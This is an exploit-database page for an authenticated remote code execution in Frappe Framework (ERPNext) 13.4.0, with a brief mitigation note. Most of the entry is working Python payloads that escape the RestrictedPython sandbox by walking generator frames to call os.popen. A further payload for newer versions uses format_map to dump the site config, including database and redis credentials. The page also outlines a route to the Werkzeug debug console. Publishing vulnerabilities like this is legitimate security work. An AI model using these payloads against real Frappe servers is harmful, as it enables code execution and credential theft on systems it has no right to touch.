header-logo
Suggest Exploit
vendor:
Frappe Framework (ERPNext)
by:
Sander Ferdinand
7.5
CVSS
HIGH
Remote Code Execution
94
CWE
Product Name: Frappe Framework (ERPNext)
Affected Version From: 13.4.2000
Affected Version To: 13.4.2000
Patch Exists: NO
Related CWE: none
CPE: a:frappe:frappe:13.4.0
Metasploit:
Other Scripts:
Platforms Tested: Ubuntu 22.04
2023

Frappe Framework (ERPNext) 13.4.0 – Remote Code Execution (Authenticated)

Silly sandbox escape. Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts. The exploit requires the 'System Manager' role and the server config 'server_script_enabled' set to 'true'. It allows an authenticated attacker to create a new script, execute arbitrary code, and escape the sandbox.

Mitigation:

To mitigate this vulnerability, ensure that the 'System Manager' role is assigned only to trusted users. Also, set the server config 'server_script_enabled' to 'false' to disable server scripts.
Source

Exploit-DB raw data:

# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)
# Exploit Author: Sander Ferdinand
# Date: 2023-06-07
# Version: 13.4.0
# Vendor Homepage: http://erpnext.org
# Software Link: https://github.com/frappe/frappe/
# Tested on: Ubuntu 22.04
# CVE : none

Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.

Requirements:
- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.

```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
for x in g:0
```

Context: 
- https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/
- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:

```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.